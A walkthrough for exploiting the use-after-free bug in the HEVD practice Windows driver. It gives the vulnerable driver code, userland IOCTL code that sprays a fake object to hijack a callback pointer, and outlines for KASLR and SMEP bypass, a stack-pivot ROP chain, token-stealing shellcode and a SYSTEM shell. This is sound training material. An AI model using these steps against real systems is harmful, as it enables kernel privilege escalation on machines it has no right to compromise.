HEVD use-after-free — walkthrough

HEVD use-after-free — walkthrough

TL;DR: HEVD’s UseAfterFree IOCTL allocates an object, stores its pointer in a global, frees it without nulling the pointer — and a separate IOCTL still dereferences it. Exploitation: allocate the bug object, free it, immediately spray same-size objects whose first 8 bytes are an attacker-controlled vtable, trigger the dangling-pointer use → kernel calls attacker function. The canonical UAF pattern that generalises to browser, app, and other kernel UAF chains. Companion to use-after-free-kernel and hevd-pool-overflow-walkthrough.

The bug

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
typedef struct _USE_AFTER_FREE {
    FunctionPointer Callback;
    CHAR Buffer[0x54];
} USE_AFTER_FREE, *PUSE_AFTER_FREE;

PUSE_AFTER_FREE g_UseAfterFreeObjectNonPagedPool;       // ← dangling pointer source

// IOCTL_HEVD_ALLOCATE_UAF_OBJECT
NTSTATUS AllocateUaFObjectNonPagedPool() {
    g_UseAfterFreeObjectNonPagedPool = ExAllocatePoolWithTag(NonPagedPool, sizeof(USE_AFTER_FREE), 'kcaH');
    g_UseAfterFreeObjectNonPagedPool->Callback = UaFObjectCallbackNonPagedPool;
    return STATUS_SUCCESS;
}

// IOCTL_HEVD_FREE_UAF_OBJECT
NTSTATUS FreeUaFObjectNonPagedPool() {
    ExFreePoolWithTag(g_UseAfterFreeObjectNonPagedPool, 'kcaH');
    // ← does NOT null g_UseAfterFreeObjectNonPagedPool
    return STATUS_SUCCESS;
}

// IOCTL_HEVD_USE_UAF_OBJECT
NTSTATUS UseUaFObjectNonPagedPool() {
    g_UseAfterFreeObjectNonPagedPool->Callback();      // ← BUG: use after free
    return STATUS_SUCCESS;
}

// IOCTL_HEVD_ALLOCATE_FAKE_OBJECT — for groom
NTSTATUS AllocateFakeObjectNonPagedPool(PVOID UserBuffer) {
    PVOID KernelBuffer = ExAllocatePoolWithTag(NonPagedPool, sizeof(USE_AFTER_FREE), 'kcaH');
    RtlCopyMemory(KernelBuffer, UserBuffer, sizeof(USE_AFTER_FREE));
    return STATUS_SUCCESS;
}

The “fake object” IOCTL is HEVD’s training-wheels feature — real targets won’t be this kind.

Exploitation outline

  1. Allocate the bug object → dangling-pointer source is set.
  2. Free the bug object → memory available, dangling pointer still references it.
  3. Immediately allocate a “fake” object of the same size with attacker-chosen Callback value = your shellcode address.
  4. Trigger Use → kernel calls attacker function pointer in kernel context.

Step 1 — userland orchestration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
HANDLE h = open_hevd();

#define IOCTL_ALLOC_UAF   0x222013
#define IOCTL_FREE_UAF    0x222017
#define IOCTL_USE_UAF     0x22201B
#define IOCTL_ALLOC_FAKE  0x22201F

// 1. Allocate
DeviceIoControl(h, IOCTL_ALLOC_UAF, NULL, 0, NULL, 0, &ret, NULL);
// 2. Free
DeviceIoControl(h, IOCTL_FREE_UAF, NULL, 0, NULL, 0, &ret, NULL);
// 3. Spray fake object with controlled bytes
BYTE fake[0x58];
*(PVOID*)fake = (PVOID)shellcode_addr;     // overwrite Callback
DeviceIoControl(h, IOCTL_ALLOC_FAKE, fake, sizeof(fake), NULL, 0, &ret, NULL);
// 4. Trigger Use
DeviceIoControl(h, IOCTL_USE_UAF, NULL, 0, NULL, 0, &ret, NULL);

Step 3 must immediately follow step 2 — single-threaded execution makes this trivial; in real targets you race.

Step 2 — real-world UAF (no training-wheels fake-object IOCTL)

In a real driver, the freed memory must be reclaimed by an allocation you control indirectly. Common allocators of size N you can drive from userland:

  • Named pipes with attributes — see windows-pool-grooming-techniques.
  • Reserve objects (NtAllocateReserveObject).
  • WNF state data.
  • CreateEventW + name string in some sizes.

Choose an allocator whose object layout has attacker-controlled bytes in the first N bytes where the dangling pointer expects its target’s fields.

Step 3 — defeat KASLR for the callback target

The Callback field, when called, jumps to attacker-supplied address. That address must:

  • Point to kernel-executable memory (SMEP-on world).
  • Be the start of a ROP gadget chain that disables SMEP and runs token-steal shellcode (or directly the shellcode if SMEP off).

The KASLR leak primitive comes from elsewhere (another HEVD bug, or a separate info-leak in the target driver / system call).

Step 4 — full ROP chain after callback

When Callback() is invoked, RIP = attacker’s chosen address. Set it to a stack-pivot gadget (mov rsp, rbp; ret or xchg rsp, rax; ret) so the kernel stack pivots to attacker-allocated user memory containing the full ROP chain.

1
2
3
4
5
attacker memory:
[stack pivot]
[chain: disable SMEP]
[chain: token-steal shellcode]
[chain: swapgs; iretq; restore userland]

Step 5 — return cleanly

After token swap, return to userland to spawn a SYSTEM shell. Use saved user CS/SS/RFLAGS/RSP/RIP via iretq chain.

Common failures

Symptom Cause
Use returns success but no SYSTEM reclaiming allocation didn’t land in the freed slot
KMODE_EXCEPTION_NOT_HANDLED at random RIP callback called something else; check that the spray successfully wrote attacker bytes
Race condition (real-world) tighten the timing; thread the spray

Real-world UAF — common bug shapes

Browser engines (Chakra, V8): script context invalidates an object that’s still referenced by another script. Mitigation: isolated heaps per object class — see browser-exploitation-primer.

Kernel: race condition between IRP cancellation and completion; reference count decremented twice.

For real-world exploitation:

  • Information leak first (heap base or per-object metadata).
  • Heap-feng-shui to control adjacency.
  • UAF reclaim within race window.

Practice ladder

  1. HEVD UseAfterFreeNonPagedPool with fake-object helper.
  2. HEVD UseAfterFreeNonPagedPool without fake-object — find a real reclaim primitive.
  3. Open-source kernel UAF (Bochspwn / kCTF).
  4. Browser UAF (Chakra past, V8 modern).

References